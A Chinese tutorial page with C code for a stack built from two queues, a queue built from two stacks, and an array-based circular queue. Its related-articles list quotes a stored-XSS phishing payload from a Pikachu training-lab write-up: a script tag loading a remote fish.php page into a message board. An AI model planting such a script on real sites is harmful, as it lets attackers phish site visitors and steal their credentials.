用队列实现栈 用栈实现队列 设计循环队列

用队列实现栈 

思路

栈的特点：后进先出   

队列的特点：先进先出

 使用两个队列实现栈：

 

我们可以使用两个队列，一个队列为：空队列，一个队列为：非空队列

当我们要出队列时：

将 size - 1个数据移动到空队列中，再将最后一个数据出队列，如此往复就可以完成4 3 2 1的出队列顺序

代码（c语言）： 

队列的各种功能：

typedef int QDataType;
// 链式结构：表示队列 
typedef struct QListNode
{
	struct QListNode* _next;
	QDataType _data;
}QNode;

// 队列的结构 
typedef struct Queue
{
	QNode* _front;
	QNode* _rear;
	int size;
}Queue;
// 初始化队列 
void QueueInit(Queue* q) {
	assert(q);

	q->size = 0;
	q->_front = NULL;
	q->_rear = NULL;
}
// 队尾入队列 
void QueuePush(Queue* q, QDataType data) {
	assert(q);

	QNode* newnode = (QNode*)malloc(sizeof(QNode));
	if (newnode == NULL)
	{
		perror("QueuePush()::malloc()");
		return;
	}

	newnode->_data = data;
	newnode->_next = NULL;
	
	//队列为NULL
	if (q->_front == NULL)
	{
		q->_front = q->_rear = newnode;
	}
	else
	{
		q->_rear->_next = newnode;
		q->_rear = q->_rear->_next;
	}

	q->size++;
}
// 队头出队列 
void QueuePop(Queue* q) {
	assert(q);
	assert(q->size != 0);

	//单个节点
	if (q->_front == q->_rear)
	{
		free(q->_front);
		q->_front = q->_rear = NULL;
	}
	//多个节点
	else
	{
		QNode* next = q->_front->_next;
		free(q->_front);
		q->_front = next;
	}

	q->size--;
}
// 获取队列头部元素 
QDataType QueueFront(Queue* q) {

	assert(q);
	assert(q->_front);//队头不能为NULL

	return q->_front->_data;
}
// 获取队列队尾元素 
QDataType QueueBack(Queue* q) {
	assert(q);
	assert(q->_rear);//队尾不能为NULL

	return q->_rear->_data;
}
// 获取队列中有效元素个数 
int QueueSize(Queue* q) {

	return q->size;
}
// 检测队列是否为空，如果为空返回非零结果，如果非空返回0 
int QueueEmpty(Queue* q) {
	assert(q);

	return q->size == 0;
}
// 销毁队列 
void QueueDestroy(Queue* q) {
	assert(q);

	QNode* cur = q->_front;
	while (cur)
	{
		QNode* next = cur->_next;
		free(cur);
		cur = next;
	}

	q->_front = q->_rear = NULL;
	q->size = 0;

}

具体实现：

//使用两个队列实现栈
typedef struct {

    Queue q1;
    Queue q2;

} MyStack;

//初始化栈
MyStack* myStackCreate() {
    //创建一个栈
    MyStack* newStk = (MyStack*)malloc(sizeof(MyStack));

    //初始化栈(即初始化两个队列)
    QueueInit(&(newStk->q1));
    QueueInit(&(newStk->q2));

    return newStk;
}

//入栈
void myStackPush(MyStack* obj, int x) {

    //假设法找不为NULL的队列
    Queue* noempty = &obj->q1;
    if(QueueSize(noempty) == 0)
    {
        noempty = &obj->q2;
    }

    //往不为NULL队列中插入
    QueuePush(noempty,x);
}

//出栈
int myStackPop(MyStack* obj) {

    //假设法判断NULL队列，非NULL队列
    Queue* empty = &obj->q1;
    Queue* noempty = &obj->q2;
    if(QueueSize(noempty) == 0)
    {
        noempty = &obj->q1;
        empty = &obj->q2;
    }

    //将size - 1个数据移动到NULL队列中
    while(QueueSize(noempty) > 1)
    {
        QueuePush(empty,QueueFront(noempty));
        QueuePop(noempty);
    }

    //出栈
    int pop = QueueBack(noempty);
    QueuePop(noempty);

    return pop;

}

//获取栈顶元素
int myStackTop(MyStack* obj) {

    Queue* noempty = &obj->q1;
    if(QueueSize(noempty) == 0)
    {
        noempty = &obj->q2;
    }

    //获取栈顶数据，也就是队尾的数据
    return QueueBack(noempty);

}

//判NULL
bool myStackEmpty(MyStack* obj) {

    return QueueEmpty(&obj->q1) && QueueEmpty(&obj->q2);

}

//销毁栈
void myStackFree(MyStack* obj) {

    QueueDestroy(&obj->q1);
    QueueDestroy(&obj->q2);
    free(obj);
    
}

用栈实现队列

思路

使用两个栈实现队列：

固定两个栈，1. 存数据栈（pushst） 2. 出数据栈（popst）

当我们要出数据时，把存数据栈（pushst）导入到 出数据栈（popst）中，在对栈顶取数据，如此往复就可以实现 4 3 2 1 的出栈顺序

代码（c语言）：

栈的各种功能：

typedef int STDataType;

typedef struct Stack
{
	STDataType* a;
	int top;
	int capacity;
}ST;

// 初始化和销毁
void STInit(ST* pst)
{
	assert(pst);

	pst->a = NULL;
	// top指向栈顶数据的下一个位置
	pst->top = 0;

	// top指向栈顶数据
	//pst->top = -1;

	pst->capacity = 0;
}

void STDestroy(ST* pst)
{
	assert(pst);

	free(pst->a);
	pst->a = NULL;
	pst->top = pst->capacity = 0;
}

// 入栈  出栈
void STPush(ST* pst, STDataType x)
{
	assert(pst);

	// 扩容
	if (pst->top == pst->capacity)
	{
		int newcapacity = pst->capacity == 0 ? 4 : pst->capacity * 2;
		STDataType* tmp = (STDataType*)realloc(pst->a, newcapacity * sizeof(STDataType));
		if (tmp == NULL)
		{
			perror("realloc fail");
			return;
		}

		pst->a = tmp;
		pst->capacity = newcapacity;
	}

	pst->a[pst->top] = x;
	pst->top++;
}

void STPop(ST* pst)
{
	assert(pst);
	assert(pst->top > 0);

	pst->top--;
}

// 取栈顶数据
STDataType STTop(ST* pst)
{
	assert(pst);
	assert(pst->top > 0);

	return pst->a[pst->top - 1];
}

// 判空
bool STEmpty(ST* pst)
{
	assert(pst);

	return pst->top == 0;
}

// 获取数据个数
int STSize(ST* pst)
{
	assert(pst);

	return pst->top;
}
typedef struct {

    ST pushst;//用来存储数据
    ST popst;//用来导出数据

} MyQueue;

具体实现

//用两个栈实现队列
MyQueue* myQueueCreate() {
    
    MyQueue* new = (MyQueue*)malloc(sizeof(MyQueue));

    STInit(&new->pushst);
    STInit(&new->popst);

    return new;
}

//入队列
void myQueuePush(MyQueue* obj, int x) {
    
    STPush(&obj->pushst,x);//插入至数据栈（pushst）中

}

//查看队头元素
int myQueuePeek(MyQueue* obj) {

    //查看出数据栈（popst），中是否有数据，有则直接查看栈顶数据，没有就把存数据栈（pushst）导入到 出数据栈（popst）中
    if(STEmpty(&obj->popst))
    {
        //把pushst数据全部导入popst
        while(!STEmpty(&obj->pushst))
        {
            STPush(&obj->popst,STTop(&obj->pushst));
            STPop(&obj->pushst);
        }
    }

    //返回出数据栈（popst）栈顶数据
    return STTop(&obj->popst);

}

//出队列
int myQueuePop(MyQueue* obj) {

    //它会帮我们导数据到popst中，popst栈顶的数据就是我们要删除的数据
    int pop = myQueuePeek(obj);

    STPop(&obj->popst);

    return pop;
}


//判空
bool myQueueEmpty(MyQueue* obj) {

    return STEmpty(&obj->pushst) && STEmpty(&obj->popst);//两个栈为NULL则队列为NULL

}

//销毁队列
void myQueueFree(MyQueue* obj) {
    STDestroy(&obj->pushst);
    STDestroy(&obj->popst);
    free(obj);
}

设计循环队列

        

 思路

利用数组来创建循环队列

代码：

typedef struct {
    int* a;
    int head;
    int rear;//指向最后一个数据的下一个空间
    int k;
} MyCircularQueue;


//初始化循环队列
MyCircularQueue* myCircularQueueCreate(int k) {

    MyCircularQueue* new = (MyCircularQueue*)malloc(sizeof(MyCircularQueue));
    //多开一个空间，用来解决数据为满与空的矛盾问题，当然也可以在结构体多加个size解决

    new->a = (int*)malloc(sizeof(int) * (k + 1));
    new->head = 0;
    new->rear = 0;//尾数据的下一个位置
    new->k = k;

    return new;
}

//插入队列
bool myCircularQueueEnQueue(MyCircularQueue* obj, int value) {

    //判断循环队列满没有，满则不能继续插入
    if((obj->rear + 1) % (obj->k + 1) == obj->head)//当尾数据指针 + 1 = 头指针时，队列满
    return false;

    obj->a[obj->rear] = value;
    obj->rear++;

    obj->rear %= obj->k + 1;//循环

    return true;
}

bool myCircularQueueDeQueue(MyCircularQueue* obj) {

    //判断队列是否为空，为空则不能继续删除
    if(obj->head == obj->rear)//当尾指针 = 头指针时，队列为空
    return false;

    obj->head++;
    obj->head %= obj->k + 1; //循环
    return true;
}

//返回队列头数据
int myCircularQueueFront(MyCircularQueue* obj) {
    if(obj->head == obj->rear)
    return -1;

    return obj->a[obj->head];
}

//返回队列尾数据，即找尾指针指向的上一个地方
int myCircularQueueRear(MyCircularQueue* obj) {
    if(obj->head == obj->rear)
    return -1;
    
    return obj->a[(obj->k + obj->rear) % (obj->k + 1)];//往前绕k-1去找rear之前的一个数据

}

//判空
bool myCircularQueueIsEmpty(MyCircularQueue* obj) {
    //空
    return obj->head == obj->rear;
}

//判满
bool myCircularQueueIsFull(MyCircularQueue* obj) {

    return (obj->rear + 1) % (obj->k + 1) == obj->head;

}

//销毁队列
void myCircularQueueFree(MyCircularQueue* obj) {
    free(obj->a);
    free(obj);
}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/650657.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

C++: 二叉搜索树及实现

C++: 二叉搜索树及实现

目录 一、二叉搜索树的概念 二、二叉搜索树的操作 2.1插入 2.2删除 1.有左子树，无右子树 2.有右子树，无左子树 3.有左子树和右子树 三、二叉搜索树的实现 要点 前言：为了学习map和set，需要先学二叉搜索树作为铺垫。 一、…
阅读更多...
【quarkus系列】创建quarkus第一个应用程序

【quarkus系列】创建quarkus第一个应用程序

文章目录 序言环境准备创建项目项目分析程序代码构建访问项目 序言 Quarkus 是一个设计用于 Kubernetes 和云原生环境的 Java 框架，具有快速启动时间、低内存消耗和强大的开发者体验。溪源将带您一步步创建一个简单的 Quarkus 应用程序。 环境准备 在开始之前&am…
阅读更多...
【UE5.1 角色练习】06-角色发射火球-part1

【UE5.1 角色练习】06-角色发射火球-part1

前言 在上一篇（【UE5.1 角色练习】05-火球发射物-CSDN博客）基础上实现角色可以发射火球的技能 效果 步骤 一、准备 1. 打开角色蓝图，添加两个浮点型变量，分别表示当前的MP值和满状态的MP值 添加一个函数，这里命名…
阅读更多...
链表经典题目—相交链表和链表倒数第k个节点

链表经典题目—相交链表和链表倒数第k个节点

🎉🎉🎉欢迎莅临我的博客空间，我是池央，一个对C和数据结构怀有无限热忱的探索者。🙌 🌸🌸🌸这里是我分享C/C编程、数据结构应用的乐园✨ 🎈🎈&…
阅读更多...
postman教程-4-发送post请求

postman教程-4-发送post请求

领取资料，咨询答疑，请➕wei: June__Go 上一小节我们学习了postman发送get请求的方法，本小节我们讲解一下postman发送post请求的方法。 POST请求通常用于向服务器提交数据以创建新资源或执行某些操作。与GET请求不同，POST请求可…
阅读更多...
JMeter 测试单节点与集群的并发异常率

JMeter 测试单节点与集群的并发异常率

一. JMeter 测试单节点与集群的并发异常率 下载地址：https://jmeter.apache.org/download_jmeter.cgi 单个tomcat测试结果(2000个用户，每个用户访问100次) nginx集群负载均衡tomcat结果(2000个用户，每个用户访问100次)
阅读更多...
Unity 生成物体的几种方式

Unity 生成物体的几种方式

系列文章目录 unity工具 文章目录 系列文章目录前言👉一、直接new的方式创建生成1-1.代码如下1-2. 效果图 👉二、使用Instantiate创建生成（GameObject）2-1.代码如下2-2.效果如下图 👉三.系统CreatePrimitive创建生成3…
阅读更多...
STM32Cube系列教程10：STM32CubeIDE工程创建+串口DMA+IDLE+printf重定向+软中断处理串口数据+非阻塞延时任务

STM32Cube系列教程10：STM32CubeIDE工程创建+串口DMA+IDLE+printf重定向+软中断处理串口数据+非阻塞延时任务

文章目录 工程配置配置时钟配置Debug接口配置串口外设配置时钟树生成代码 配置串口重定向printf配置串口，开启IDLE，开启软中断 配置非阻塞延时任务调度函数编写任务调度函数延时任务创建 编译，下载与测试编译下载测试 前两天收到了ST社区的NU…
阅读更多...
最后7天，高考翻盘秘籍等你开启！

最后7天，高考翻盘秘籍等你开启！

高考，这场关乎未来的考试，对于每一个学生来说都是一次严峻的挑战。随着倒计时的进行，无数考生和家长的焦虑和期待达到了顶点。在这个最后7天的关键时期，我们为即将参加高考的学生及其家长提供一份复习秘籍，帮助你们抓住…
阅读更多...
【CSP CCF记录】201912-1 报数

【CSP CCF记录】201912-1 报数

题目 代码 首先判断是否为7的倍数&#xff0c;其次判断各位数是否有7 #include<bits/stdc.h> using namespace std; int n; int main() {cin>>n;int num[4]{0};for(int i1;i<n;i){int j(i-1)%4;if(i%70){num[j];n;continue;} int tempi;while(temp/10>0||t…
阅读更多...
Word整理论文参考文献

Word整理论文参考文献

1.安装Zotero软件 2.安装Zotero的Chrome网站插件&#xff0c;并将插件固定到浏览器 3.安装Word的Zotero插件 4.在DBLP网站https://dblp.org/search 搜索需要添加的参考文献->点击BibTex->点击网页右上角的Zotero符号&#xff08;即第二步所指的符号&#xff09;->至…
阅读更多...
2023idea没有VCS首次提交代码到Git

2023idea没有VCS首次提交代码到Git

1、setting 2、vcs------>create git repository 3、右键项目----->Git------>add 4、右键项目------>git------>commit Directory 之后就会显示这个页面(下面写你提交的信息&#xff0c;就是你修改了什么) 点击commit,提交 5、Git--------->push 6、选择…
阅读更多...
华为实训课笔记 2024

华为实训课笔记 2024

华为实训 5/205/215/225/235/27 5/20 5/21 5/22 5/23 5/27
阅读更多...
如果任务过多，队列积压怎么处理？

如果任务过多，队列积压怎么处理？

如果任务过多，队列积压怎么处理？ 1、内存队列满了应该怎么办2、问题要治本——发短信导致吞吐量降低的问题不能忽略！！3、多路复用IO模型的核心组件简介1、内存队列满了应该怎么办 如图： 大家可以看到，虽然现在发短信和广告投递，彼此之间的执行效率不受彼此影响，但是请…
阅读更多...
1、pikachu靶场之xss钓鱼复现

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…
阅读更多...
Qt自定义标题栏

Qt自定义标题栏

效果如下&#xff1a; 代码如下&#xff1a; // widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr…
阅读更多...
国内AI大模型的下半场-「百模大战免费篇」上线，让我们直接梦回十年前

国内AI大模型的下半场-「百模大战免费篇」上线，让我们直接梦回十年前

| 我们正在经历第九次「烧钱」大战。 这个故事&#xff0c;大概要从2024年5月6号&#xff0c;一个叫DeepSeek-V2的模型开始说起。 那一天&#xff0c;DeepSeek宣布开源他们的第二代MoE大模型——DeepSeek-V2。根据披露的信息显示&#xff0c;该模型在性能上比肩GPT-4 Turbo。刚…
阅读更多...
在Bash中解析命令行参数的两种样例脚本

在Bash中解析命令行参数的两种样例脚本

文章目录 问题回答以空格分隔选项和参数以等号分隔选项和参数 参考 问题 假设&#xff0c;我有一个脚本&#xff0c;它会被这样一行调用: ./myscript -vfd ./foo/bar/someFile -o /fizz/someOtherFile或者这个&#xff1a; ./myscript -v -f -d -o /fizz/someOtherFile ./fo…
阅读更多...
YOLOv8+PyQt5面部表情检测系统完整资源集合(yolov8模型，从图像、视频和摄像头三种路径识别检测，包含登陆页面、注册页面和检测页面)

YOLOv8+PyQt5面部表情检测系统完整资源集合(yolov8模型，从图像、视频和摄像头三种路径识别检测，包含登陆页面、注册页面和检测页面)

1.资源包含可视化的面部表情检测系统&#xff0c;基于最新的YOLOv8训练的面部表情检测模型&#xff0c;和基于PyQt5制作的可视化面部表情检测系统&#xff0c;包含登陆页面、注册页面和检测页面&#xff0c;该系统可自动检测和识别图片或视频当中出现的八类面部表情&#xff1a…
阅读更多...
【UE5.1 角色练习】08-物体抬升、抛出技能

【UE5.1 角色练习】08-物体抬升、抛出技能

前言 在上一篇&#xff08;【UE5.1 角色练习】08-传送技能&#xff09;的基础上继续实现控制物体抬升、抛出的功能。 效果 步骤 一、准备技能动画 1. 在项目设置中新建一个操作映射&#xff0c;这里命名为“Skill_GravityControl”&#xff0c;用按键4触发 2. 通过IK重定向…
阅读更多...
最新文章

Copyright @ 2022~2023